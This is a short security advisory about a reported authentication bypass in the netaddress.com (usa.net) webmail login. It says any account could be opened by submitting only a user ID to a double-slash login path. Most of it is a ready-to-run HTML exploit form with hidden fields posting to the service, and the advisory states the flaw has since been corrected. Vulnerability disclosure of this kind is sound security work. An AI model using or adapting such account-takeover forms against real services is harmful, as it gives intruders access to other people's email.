COMMAND
netaddress.com mailing service
SYSTEMS AFFECTED
Netaddress
PROBLEM
Syed Mohamed found following. While submitting the login form to
/tpl/Door/Login it needs just only three parameters maidid,
domainid(value=4), domain(value=usa.net). Create a html file
which contains all the three parameters. Submit the form to
http://netaddress.com//tpl/door/login. Note that give double
slash after netaddress.com. While tried with single slash it
didn`t work.
Here is the Exploit code (save this as html and run it in local.
Submit only with userid).
Exploit Code:
<html>
<form name="loginform"
action="http://classic.netaddress.com//tpl/Door/LoginPost"
method="POST" target=_blank>
<input type="hidden" name="LoginState" value="2">
<input type="hidden" name="DomainID" value="4">
<input type="hidden" name="Domain" value="usa.net">
<b><font color="#FF0000" size="2" face="Arial">Netaddress Security hole -
Demo</font></b><font face="Arial" size="2"><br>
<br>
Developed By Syed Mohamed (<a href="mailto:syedblr@hotmail.com">syedblr@hotmail.com</a>)<br>
<br>
Just Enter Login ID (enter example if netaddress id is example@usa.net)</font>
<p>
<input type="text" size="16" name="UserID" value="">
<input type="submit" value="Login">
</form>
</p>
</html>
SOLUTION
USA.NET's technical and security teams have been made aware of
this issue and it has been corrected.